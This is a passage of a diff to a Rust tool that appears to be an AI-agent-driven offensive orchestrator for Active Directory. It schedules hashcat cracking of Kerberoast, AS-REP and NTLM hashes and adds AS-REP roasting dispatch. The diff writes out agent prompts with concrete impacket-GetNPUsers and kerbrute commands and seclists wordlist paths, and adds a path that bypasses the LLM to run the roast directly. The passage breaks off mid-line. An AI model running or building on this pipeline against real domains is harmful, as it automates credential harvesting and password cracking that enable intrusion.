assert_eq!(work[0].vuln_id, "cert-002"); + assert_eq!(work[0].domain, "fabrikam.local"); + assert_eq!(work[0].target_user, "svc_sql"); + } + + #[tokio::test] + async fn collect_ignores_non_cert_vuln_types() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + s.discovered_vulnerabilities + .insert("vuln-esc1".into(), make_vuln("vuln-esc1", "esc1", details)); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_skips_exploited_vulnerabilities() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-010".into(), + make_vuln("cert-010", "certificate_obtained", details), + ); + s.exploited_vulnerabilities.insert("cert-010".into()); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_skips_already_deduped() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-020".into(), + make_vuln("cert-020", "certificate_obtained", details), + ); + s.mark_processed(DEDUP_CERTIPY_AUTH, "cert_auth:cert-020".into()); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_skips_vuln_without_pfx_path() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + // No pfx_path, certificate_path, or cert_file key at all + let mut details = std::collections::HashMap::new(); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-030".into(), + make_vuln("cert-030", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_pfx_fallback_to_certificate_path() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("certificate_path".into(), serde_json::json!("/tmp/alt.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-040".into(), + make_vuln("cert-040", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].pfx_path, "/tmp/alt.pfx"); + } + + #[tokio::test] + async fn collect_pfx_fallback_to_cert_file() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("cert_file".into(), serde_json::json!("/tmp/other.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-050".into(), + make_vuln("cert-050", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].pfx_path, "/tmp/other.pfx"); + } + + #[tokio::test] + async fn collect_target_user_defaults_to_administrator() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + // No target_user, upn, or account_name + s.discovered_vulnerabilities.insert( + "cert-060".into(), + make_vuln("cert-060", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_user, "administrator"); + } + + #[tokio::test] + async fn collect_target_user_from_upn() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + details.insert("upn".into(), serde_json::json!("admin@contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-070".into(), + make_vuln("cert-070", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_user, "admin@contoso.local"); + } + + #[tokio::test] + async fn collect_target_user_from_account_name() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + details.insert("account_name".into(), serde_json::json!("svc_web")); + s.discovered_vulnerabilities.insert( + "cert-080".into(), + make_vuln("cert-080", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_user, "svc_web"); + } + + #[tokio::test] + async fn collect_resolves_dc_ip_from_domain_controllers() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-090".into(), + make_vuln("cert-090", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dc_ip, Some("192.168.58.10".into())); + } + + #[tokio::test] + async fn collect_dc_ip_none_when_domain_not_mapped() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + // DC registered for a different domain + s.domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-100".into(), + make_vuln("cert-100", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert!(work[0].dc_ip.is_none()); + } + + #[tokio::test] + async fn collect_domain_defaults_to_empty_string() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + // No domain key in details + s.discovered_vulnerabilities.insert( + "cert-110".into(), + make_vuln("cert-110", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, ""); + } + + #[tokio::test] + async fn collect_case_insensitive_vuln_type() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-120".into(), + make_vuln("cert-120", "CERTIFICATE_OBTAINED", details.clone()), + ); + s.discovered_vulnerabilities.insert( + "cert-121".into(), + make_vuln("cert-121", "Adcs_Certificate", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 2); + } + + #[tokio::test] + async fn collect_multiple_vulns_mixed_types() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + // Valid cert vuln + let mut d1 = std::collections::HashMap::new(); + d1.insert("pfx_path".into(), serde_json::json!("/tmp/a.pfx")); + d1.insert("domain".into(), serde_json::json!("contoso.local")); + s.discovered_vulnerabilities.insert( + "cert-200".into(), + make_vuln("cert-200", "certificate_obtained", d1), + ); + + // Non-cert vuln (should be ignored) + let mut d2 = std::collections::HashMap::new(); + d2.insert("target_ip".into(), serde_json::json!("192.168.58.22")); + s.discovered_vulnerabilities.insert( + "vuln-smb".into(), + make_vuln("vuln-smb", "smb_signing_disabled", d2), + ); + + // Another valid cert vuln + let mut d3 = std::collections::HashMap::new(); + d3.insert("pfx_path".into(), serde_json::json!("/tmp/b.pfx")); + d3.insert("domain".into(), serde_json::json!("fabrikam.local")); + s.discovered_vulnerabilities.insert( + "cert-201".into(), + make_vuln("cert-201", "adcs_certificate", d3), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 2); + let ids: std::collections::HashSet<_> = work.iter().map(|w| w.vuln_id.as_str()).collect(); + assert!(ids.contains("cert-200")); + assert!(ids.contains("cert-201")); + } + + #[tokio::test] + async fn collect_dc_ip_lookup_is_case_insensitive() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + // DC stored under lowercase + s.domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/cert.pfx")); + // Domain in mixed case in vuln details + details.insert("domain".into(), serde_json::json!("CONTOSO.LOCAL")); + s.discovered_vulnerabilities.insert( + "cert-130".into(), + make_vuln("cert-130", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dc_ip, Some("192.168.58.10".into())); + } +} diff --git a/ares-cli/src/orchestrator/automation/crack.rs b/ares-cli/src/orchestrator/automation/crack.rs index 84a998fe..0fa303c3 100644 --- a/ares-cli/src/orchestrator/automation/crack.rs +++ b/ares-cli/src/orchestrator/automation/crack.rs @@ -11,12 +11,64 @@ use crate::orchestrator::state::*; use super::crack_dedup_key; +/// Cracking-priority bucket for a hash type. Lower is higher priority. +/// +/// Kerberoast and AS-REP hashes are the high-leverage crack targets in any +/// op: a cracked SPN often exposes a service account the orchestrator +/// already knows how to abuse (linked-server pivots, MSSQL impersonation, +/// cross-forest reuse), and AS-REP plaintext lets us swap an LLM-blind +/// password into the credential pool. NTLM hashes from secretsdump are +/// already usable as-is via PtH, so cracking them is the lowest-payoff +/// work and should never block roastable hashes from the single hashcat +/// slot. +fn crack_priority(hash_type: &str) -> u8 { + match hash_type.to_ascii_lowercase().as_str() { + "kerberoast" | "asrep" | "asreproast" => 0, + _ => 1, + } +} + +/// Max times a single hash gets dispatched to hashcat before the dispatcher +/// permanently marks it `DEDUP_CRACK_REQUESTS` and gives up. Bounded retry +/// covers the common failure modes (missing wordlist on the worker pod, a +/// transient hashcat crash, the password not in the current wordlist but +/// added later) without burning the cracker slot forever on impossible +/// hashes. Operationally, three attempts costs at most ~3× the hashcat +/// runtime per hash, which is the same overhead as restarting the op. +pub(crate) const MAX_CRACK_ATTEMPTS: u32 = 3; + +/// Number of consecutive roastable (kerberoast/AS-REP) dispatches after +/// which the next eligible NTLM hash takes a turn. Without this, a steady +/// inflow of roastables — produced as each new domain/host gets owned — +/// permanently starves NTLM hashes from secretsdump, leaving DCSync output +/// uncracked and downstream scoreboard credit unclaimed. +const NTLM_TURN_AFTER_ROASTABLE_STREAK: u32 = 2; + +/// Pick the next hash to dispatch given a priority-sorted work list and the +/// current roastable streak. Pure function — exercised directly by the unit +/// tests so the fairness invariant doesn't drift back into starvation. +fn select_next_crack( + work: &[(String, ares_core::models::Hash)], + roastable_streak: u32, +) -> Option<&(String, ares_core::models::Hash)> { + if roastable_streak >= NTLM_TURN_AFTER_ROASTABLE_STREAK { + if let Some(ntlm) = work.iter().find(|(_, h)| crack_priority(&h.hash_type) > 0) { + return Some(ntlm); + } + } + work.first() +} + /// Scans for uncracked hashes and submits crack tasks. /// Interval: 15s. Matches Python `_auto_crack_dispatch`. pub async fn auto_crack_dispatch(dispatcher: Arc, mut shutdown: watch::Receiver) { let mut interval = tokio::time::interval(Duration::from_secs(15)); interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + // Tracks consecutive roastable dispatches so NTLM hashes from + // secretsdump aren't starved by a continuous roastable inflow. + let mut roastable_streak: u32 = 0; + loop { tokio::select! { _ = interval.tick() => {}, @@ -26,8 +78,13 @@ pub async fn auto_crack_dispatch(dispatcher: Arc, mut shutdown: watc break; } - // Collect unprocessed hashes - let work: Vec<(String, ares_core::models::Hash)> = { + // Collect unprocessed hashes, then sort by crack priority so the + // single hashcat slot serves roastable hashes first. Without this, + // a backlog of NTLM machine-account hashes from secretsdump (already + // PtH-usable) starves the lone kerberoast/asrep hash that would + // unlock a service-account password — exactly the failure mode that + // left a kerberoasted sql_svc untouched for hours in op-20260510. + let mut work: Vec<(String, ares_core::models::Hash)> = { let state = dispatcher.state.read().await; state .hashes @@ -43,6 +100,7 @@ pub async fn auto_crack_dispatch(dispatcher: Arc, mut shutdown: watc }) .collect() }; + work.sort_by_key(|(_, h)| crack_priority(&h.hash_type)); // Serialize crack tasks: hashcat only allows one instance at a time. // Skip this tick if a cracker task is already running. @@ -53,19 +111,46 @@ pub async fn auto_crack_dispatch(dispatcher: Arc, mut shutdown: watc // Only dispatch one crack task per tick to avoid hashcat PID conflicts. // Remaining hashes will be picked up on subsequent ticks. - if let Some((dedup_key, hash)) = work.into_iter().next() { + let next = select_next_crack(&work, roastable_streak).cloned(); + if let Some((dedup_key, hash)) = next { + if crack_priority(&hash.hash_type) == 0 { + roastable_streak = roastable_streak.saturating_add(1); + } else { + roastable_streak = 0; + } match dispatcher.request_crack(&hash).await { Ok(Some(task_id)) => { debug!(task_id = %task_id, hash_type = %hash.hash_type, "Crack task dispatched"); - dispatcher - .state - .write() - .await - .mark_processed(DEDUP_CRACK_REQUESTS, dedup_key.clone()); - let _ = dispatcher - .state - .persist_dedup(&dispatcher.queue, DEDUP_CRACK_REQUESTS, &dedup_key) - .await; + // Increment the per-hash attempt counter. Cap reached + // → write the dedup marker (persisted) so future ticks + // and post-restart ticks skip this hash permanently. + // Before the cap, do NOT write the dedup — that lets a + // failed crack (cracked_password still None when the + // task finishes) be retried on the next tick, which is + // the bug this PR fixes. + let attempts = { + let mut state = dispatcher.state.write().await; + let entry = state.crack_attempts.entry(dedup_key.clone()).or_insert(0); + *entry += 1; + *entry + }; + if attempts >= MAX_CRACK_ATTEMPTS { + warn!( + dedup_key = %dedup_key, + hash_type = %hash.hash_type, + attempts, + "Crack attempts exhausted; giving up on hash" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_CRACK_REQUESTS, dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_CRACK_REQUESTS, &dedup_key) + .await; + } } Ok(None) => {} // deferred or throttled Err(e) => warn!(err = %e, "Failed to dispatch crack task"), @@ -73,3 +158,198 @@ pub async fn auto_crack_dispatch(dispatcher: Arc, mut shutdown: watc } } } + +#[cfg(test)] +mod tests { + use super::{ + crack_priority, select_next_crack, MAX_CRACK_ATTEMPTS, NTLM_TURN_AFTER_ROASTABLE_STREAK, + }; + use crate::orchestrator::state::{StateInner, DEDUP_CRACK_REQUESTS}; + use ares_core::models::Hash; + + fn mk(hash_type: &str) -> (String, Hash) { + ( + format!("dedup-{hash_type}"), + Hash { + id: format!("h-{hash_type}"), + username: "u".into(), + hash_type: hash_type.into(), + hash_value: "x".into(), + domain: "contoso.local".into(), + source: "test".into(), + cracked_password: None, + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + }, + ) + } + + #[test] + fn roastable_hashes_outrank_ntlm() { + assert!(crack_priority("kerberoast") < crack_priority("ntlm")); + assert!(crack_priority("asrep") < crack_priority("ntlm")); + assert!(crack_priority("asreproast") < crack_priority("ntlm")); + } + + #[test] + fn roastable_priority_case_insensitive() { + assert_eq!(crack_priority("KERBEROAST"), crack_priority("kerberoast")); + assert_eq!(crack_priority("AsRep"), crack_priority("asrep")); + } + + #[test] + fn unknown_hash_types_share_ntlm_bucket() { + assert_eq!(crack_priority("ntlm"), crack_priority("netntlmv2")); + assert_eq!(crack_priority("ntlm"), crack_priority("")); + } + + #[test] + fn sort_places_roastable_first() { + let mut v = ["ntlm", "kerberoast", "ntlm", "asrep"]; + v.sort_by_key(|t| crack_priority(t)); + // First two slots are the roastable ones in some order; last two are ntlm. + assert!(matches!(v[0], "kerberoast" | "asrep")); + assert!(matches!(v[1], "kerberoast" | "asrep")); + assert_eq!(v[2], "ntlm"); + assert_eq!(v[3], "ntlm"); + } + + // Crack retry-cap logic. The dispatch path itself takes a Dispatcher + // (network + Redis), so these tests pin the state-side invariants: + // - First N-1 attempts increment the counter without writing the + // permanent dedup, so a failed crack can retry on the next tick. + // - The Nth attempt writes the permanent dedup, so the hash is + // never re-dispatched even after the operation restarts. + + fn simulate_attempt(state: &mut StateInner, dedup_key: &str) { + let entry = state + .crack_attempts + .entry(dedup_key.to_string()) + .or_insert(0); + *entry += 1; + if *entry >= MAX_CRACK_ATTEMPTS { + state.mark_processed(DEDUP_CRACK_REQUESTS, dedup_key.to_string()); + } + } + + #[test] + fn crack_retry_below_cap_does_not_write_dedup() { + // A hash whose crack failed once (e.g. wordlist miss) must remain + // eligible for retry — this was the bug. Confirm that the dedup + // marker is NOT written before the cap. + let mut state = StateInner::new("op-test".into()); + let key = "north.contoso.local:svc_sql:abcdef0123456789abcdef0123456789"; + for _ in 0..(MAX_CRACK_ATTEMPTS - 1) { + simulate_attempt(&mut state, key); + } + assert!( + !state.is_processed(DEDUP_CRACK_REQUESTS, key), + "dedup must not be written before the attempt cap" + ); + assert_eq!( + state.crack_attempts.get(key).copied().unwrap_or(0), + MAX_CRACK_ATTEMPTS - 1 + ); + } + + #[test] + fn crack_retry_at_cap_writes_dedup_permanently() { + // Cap reached → dedup written → next ticks (and post-restart + // ticks, once persisted) skip this hash forever. + let mut state = StateInner::new("op-test".into()); + let key = "contoso.local:alice:00112233445566778899aabbccddeeff"; + for _ in 0..MAX_CRACK_ATTEMPTS { + simulate_attempt(&mut state, key); + } + assert!( + state.is_processed(DEDUP_CRACK_REQUESTS, key), + "dedup must be written once attempts reach MAX_CRACK_ATTEMPTS" + ); + } + + #[test] + fn select_returns_none_when_empty() { + assert!(select_next_crack(&[], 0).is_none()); + assert!(select_next_crack(&[], 100).is_none()); + } + + #[test] + fn select_prefers_roastable_below_streak_threshold() { + let work = vec![mk("kerberoast"), mk("ntlm")]; + let chosen = select_next_crack(&work, 0).unwrap(); + assert_eq!(chosen.1.hash_type, "kerberoast"); + } + + #[test] + fn select_forces_ntlm_turn_at_streak_threshold() { + let work = vec![mk("kerberoast"), mk("kerberoast"), mk("ntlm")]; + let chosen = select_next_crack(&work, NTLM_TURN_AFTER_ROASTABLE_STREAK).unwrap(); + assert_eq!(chosen.1.hash_type, "ntlm"); + } + + #[test] + fn select_falls_back_to_roastable_when_no_ntlm_at_threshold() { + let work = vec![mk("kerberoast"), mk("asrep")]; + let chosen = select_next_crack(&work, NTLM_TURN_AFTER_ROASTABLE_STREAK + 5).unwrap(); + assert_eq!(chosen.1.hash_type, "kerberoast"); + } + + #[test] + fn select_picks_ntlm_when_only_ntlm_present() { + let work = vec![mk("ntlm"), mk("ntlm")]; + let chosen = select_next_crack(&work, 0).unwrap(); + assert_eq!(chosen.1.hash_type, "ntlm"); + } + + #[test] + fn ntlm_eventually_serviced_under_continuous_roastable_inflow() { + // Steady roastable inflow must not starve NTLM. Walk 100 ticks + // and verify NTLM dispatches at least once per (threshold+1). + let work = vec![mk("kerberoast"), mk("ntlm")]; + let mut streak: u32 = 0; + let mut ntlm_dispatches = 0u32; + let mut roastable_dispatches = 0u32; + for _ in 0..100 { + let chosen = select_next_crack(&work, streak).unwrap(); + if crack_priority(&chosen.1.hash_type) == 0 { + streak = streak.saturating_add(1); + roastable_dispatches += 1; + } else { + streak = 0; + ntlm_dispatches += 1; + } + } + let expected_floor = 100 / (NTLM_TURN_AFTER_ROASTABLE_STREAK + 1); + assert!( + ntlm_dispatches >= expected_floor, + "NTLM starved: {ntlm_dispatches} dispatches in 100 ticks (floor {expected_floor})" + ); + assert!( + roastable_dispatches > 0, + "roastable bucket should still be served" + ); + } + + #[test] + fn crack_retry_independent_per_hash() { + // Each hash gets its own attempt budget — exhausting one must not + // dedup another. Without this, a single perma-failing hash would + // appear to "use up" everyone else's slot from the dispatcher's + // perspective if the state key collision is wrong. + let mut state = StateInner::new("op-test".into()); + let stuck = "contoso.local:stuck:00000000000000000000000000000000"; + let fresh = "contoso.local:fresh:11111111111111111111111111111111"; + for _ in 0..MAX_CRACK_ATTEMPTS { + simulate_attempt(&mut state, stuck); + } + assert!(state.is_processed(DEDUP_CRACK_REQUESTS, stuck)); + assert!(!state.is_processed(DEDUP_CRACK_REQUESTS, fresh)); + assert_eq!(state.crack_attempts.get(fresh).copied(), None); + } +} diff --git a/ares-cli/src/orchestrator/automation/credential_access.rs b/ares-cli/src/orchestrator/automation/credential_access.rs index 0baeb0a7..4748c963 100644 --- a/ares-cli/src/orchestrator/automation/credential_access.rs +++ b/ares-cli/src/orchestrator/automation/credential_access.rs @@ -80,32 +80,148 @@ pub async fn auto_credential_access( break; } - let asrep_work: Vec<(String, String)> = if !dispatcher.is_technique_allowed("asrep_roast") { - Vec::new() - } else { - let state = dispatcher.state.read().await; - state - .domains - .iter() - .filter(|d| !state.is_processed(DEDUP_ASREP_DOMAINS, d)) - .filter_map(|domain| { - // Try DC map first, then fall back to target_ips[0] - let dc_ip = state - .domain_controllers - .get(domain) - .cloned() - .or_else(|| state.target_ips.first().cloned())?; - Some((domain.clone(), dc_ip)) - }) - .collect() - }; + // Re-armable dedup. The cold-start AS-REP dispatch fires before + // cross-forest LDAP enum has populated `state.users` for foreign + // forests — at that point known_users is empty and the dispatch + // uses the generic wordlist. Later, after the inter-realm ticket + // lands and LDAP-via-ticket enumerates the foreign forest's + // accounts in a SID-filtered cross-forest target, we MUST + // re-dispatch with known_users populated; otherwise the + // discovered usernames never get consumed by AS-REP. Key the + // dedup on `domain:has_users` so the "empty" and "non-empty" + // states are tracked independently — at most two dispatches per + // domain across the operation lifetime. + let asrep_work: Vec<(String, String, String)> = + if !dispatcher.is_technique_allowed("asrep_roast") { + Vec::new() + } else { + let state = dispatcher.state.read().await; + state + .domains + .iter() + .filter_map(|domain| { + let dom_l = domain.to_lowercase(); + let has_users = state.users.iter().any(|u| { + u.domain.to_lowercase() == dom_l + && !u.username.is_empty() + && !u.username.ends_with('$') + }); + let dedup_key = + format!("{}:{}", dom_l, if has_users { "users" } else { "empty" }); + if state.is_processed(DEDUP_ASREP_DOMAINS, &dedup_key) { + return None; + } + // Try DC map first, then fall back to target_ips[0] + let dc_ip = state + .domain_controllers + .get(domain) + .cloned() + .or_else(|| state.target_ips.first().cloned())?; + Some((domain.clone(), dc_ip, dedup_key)) + }) + .collect() + }; - for (domain, dc_ip) in asrep_work { - let payload = json!({ + for (domain, dc_ip, dedup_key) in asrep_work { + let (excluded_users, known_users) = { + let state = dispatcher.state.read().await; + let excluded = state.quarantined_principals_in_domain(&domain); + // Pull every username already discovered for this domain. AS-REP + // roasting needs a userlist to probe — `kerberos_user_enum_noauth` + // works on some DCs but is denied on hardened targets where + // anonymous SAMR returns STATUS_LOGON_FAILURE. Without a baked-in + // list the LLM has nothing to roast and the dispatch is wasted. + // We collect users from `state.users` (populated by initial enum + // + cross-forest LDAP-via-ticket), filter out the ones that aren't + // real principals (computer accounts ending in `$`), and pass + // them as `known_users` so the agent can immediately run + // `GetNPUsers -no-pass -usersfile `. This is the load- + // bearing path for compromising a SID-filtered foreign forest + // via AS-REP — without it, the cross-forest LDAP enumeration's + // payoff (discovered usernames) never gets consumed by the + // AS-REP automation, and the chain stalls at the step right + // before a roastable account's hash would be captured. + let dom_l = domain.to_lowercase(); + let mut users: Vec = state + .users + .iter() + .filter(|u| u.domain.to_lowercase() == dom_l) + .filter(|u| !u.username.is_empty() && !u.username.ends_with('$')) + .map(|u| u.username.clone()) + .collect(); + users.sort(); + users.dedup(); + (excluded, users) + }; + let mut payload = json!({ "techniques": ["kerberos_user_enum_noauth", "asrep_roast", "username_as_password"], "target_ip": dc_ip, "domain": domain, + "excluded_users": excluded_users.join(","), }); + if !known_users.is_empty() { + payload["known_users"] = json!(known_users); + payload["instructions"] = json!(format!( + "{} usernames already discovered for {}. Run \ + `impacket-GetNPUsers -no-pass -dc-ip {} {}/ -usersfile <(echo \ + \"$known_users\")` and harvest any $krb5asrep$ hashes; \ + prioritise this over `kerberos_user_enum_noauth` (some \ + DCs deny anonymous SAMR). Hand any roastable hash to the \ + cracker tool immediately.", + known_users.len(), + domain, + dc_ip, + domain, + )); + } else { + // Cold start: no usernames discovered yet. Without an explicit + // userlist the LLM tends to call `kerberos_user_enum_noauth`, + // see the default tiny wordlist return no hits on a custom AD, + // and abandon the technique. Give it a concrete progressive + // enumeration plan so it tries broader wordlists (names.txt, + // top-usernames-shortlist.txt) before giving up — these + // commonly hit lab-themed accounts on EC2 worker images + // where seclists is preinstalled. + payload["instructions"] = json!(format!( + "No usernames discovered yet for {dom}. Cold-start AS-REP \ + enumeration plan: \ + (1) `impacket-GetNPUsers -no-pass -dc-ip {ip} {dom}/ \ + -usersfile /usr/share/seclists/Usernames/Names/names.txt \ + -format hashcat` (zero-cred; returns $krb5asrep$ for any \ + preauth-disabled account). \ + (2) If step 1 returns no hashes, also try \ + `/usr/share/seclists/Usernames/top-usernames-shortlist.txt` \ + and `/usr/share/seclists/Usernames/cirt-default-usernames.txt`. \ + (3) For username enumeration via Kerberos error codes \ + (KDC_ERR_C_PRINCIPAL_UNKNOWN vs KDC_ERR_PREAUTH_REQUIRED), \ + run `kerbrute userenum --dc {ip} -d {dom} \ + /usr/share/seclists/Usernames/Names/names.txt` if \ + available. \ + (4) Hand every $krb5asrep$ hash to the cracker tool \ + immediately — even one cracked AS-REP hash unlocks an \ + authenticated foothold in {dom}. \ + Do NOT fall back to anonymous SAMR if it returns \ + ACCESS_DENIED; that path is dead on hardened DCs.", + dom = domain, + ip = dc_ip, + )); + } + + // Mark dedup BEFORE either dispatch fires. The deterministic + // path below is fire-and-forget; if we deferred marking until + // after a successful LLM submit, a deferred/errored LLM submit + // would leave the deterministic spawn unguarded — next 15s tick + // would queue another background asrep_roast against the same + // userlist. Mark first, dispatch second. + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_ASREP_DOMAINS, dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ASREP_DOMAINS, &dedup_key) + .await; let priority = dispatcher.effective_priority("asrep_roast"); match dispatcher @@ -113,20 +229,81 @@ pub async fn auto_credential_access( .await { Ok(Some(task_id)) => { - info!(task_id = %task_id, domain = %domain, "AS-REP roast dispatched"); - dispatcher - .state - .write() - .await - .mark_processed(DEDUP_ASREP_DOMAINS, domain.clone()); - let _ = dispatcher - .state - .persist_dedup(&dispatcher.queue, DEDUP_ASREP_DOMAINS, &domain) - .await; + info!( + task_id = %task_id, + domain = %domain, + dedup_key = %dedup_key, + known_users = known_users.len(), + "AS-REP roast dispatched" + ); } Ok(None) => {} Err(e) => warn!(err = %e, "Failed to dispatch AS-REP roast"), } + + // Deterministic AS-REP roast: when we already have a userlist, + // skip the LLM and call the tool directly. The LLM agent loop + // in the credential_access role consistently picks + // `password_spray` and `username_as_password` over + // `asrep_roast` despite the techniques ordering and explicit + // instructions — this leaves the most reliable foothold path + // for SID-filtered foreign forests (AS-REP roast of a preauth- + // disabled account from the discovered userlist) unexercised. + // dispatch_tool routes through the worker tool_exec subject and + // its discoveries flow into state via push_realtime_discoveries. + // Guarded by the dedup mark above — at most one deterministic + // dispatch per (domain, has-users) transition. + if !known_users.is_empty() { + let det_args = json!({ + "domain": domain, + "dc_ip": dc_ip, + "known_users": known_users, + }); + let det_call = ares_llm::ToolCall { + id: format!("asrep_det_{}", uuid::Uuid::new_v4().simple()), + name: "asrep_roast".to_string(), + arguments: det_args, + }; + let det_task_id = format!( + "asrep_det_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + info!( + task_id = %det_task_id, + domain = %domain, + known_users = known_users.len(), + "AS-REP roast dispatched (direct tool, no LLM)" + ); + let dispatcher_bg = dispatcher.clone(); + let domain_bg = domain.clone(); + tokio::spawn(async move { + match dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("credential_access", &det_task_id, &det_call) + .await + { + Ok(result) => { + let hash_count = result + .discoveries + .as_ref() + .and_then(|d| d.get("hashes")) + .and_then(|h| h.as_array()) + .map(|a| a.len()) + .unwrap_or(0); + info!( + task_id = %det_task_id, + domain = %domain_bg, + hash_count, + "Deterministic AS-REP roast completed" + ); + } + Err(e) => { + warn!(err = %e, domain = %domain_bg, "Deterministic AS-REP roast failed"); + } + } + }); + } } let kerberoast_work: Vec<(String, String, String, ares_core::models::Credential)> = @@ -143,21 +320,21 @@ pub async fn auto_credential_access( // lockout before S4U can use them. .filter(|c| !state.is_delegation_account(&c.username)) // Skip quarantined credentials — locked out, retry after expiry. - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + .filter(|c| !state.is_principal_quarantined(&c.username, &c.domain)) .filter_map(|cred| { let cred_domain = cred.domain.to_lowercase(); let dedup = kerberoast_dedup_key(&cred_domain, &cred.username); if state.is_processed(DEDUP_CRACK_REQUESTS, &dedup) { return None; } - // Exact domain match first - if let Some(dc_ip) = state.domain_controllers.get(&cred_domain).cloned() { + // Exact domain match first (using robust DC resolution) + if let Some(dc_ip) = state.resolve_dc_ip(&cred_domain) { return Some((dedup, dc_ip, cred_domain, cred.clone())); } // Fallback: check child domains (e.g. cred has "contoso.local" // but user is actually in "child.contoso.local") let suffix = format!(".{cred_domain}"); - for (domain, dc_ip) in &state.domain_controllers { + for (domain, dc_ip) in 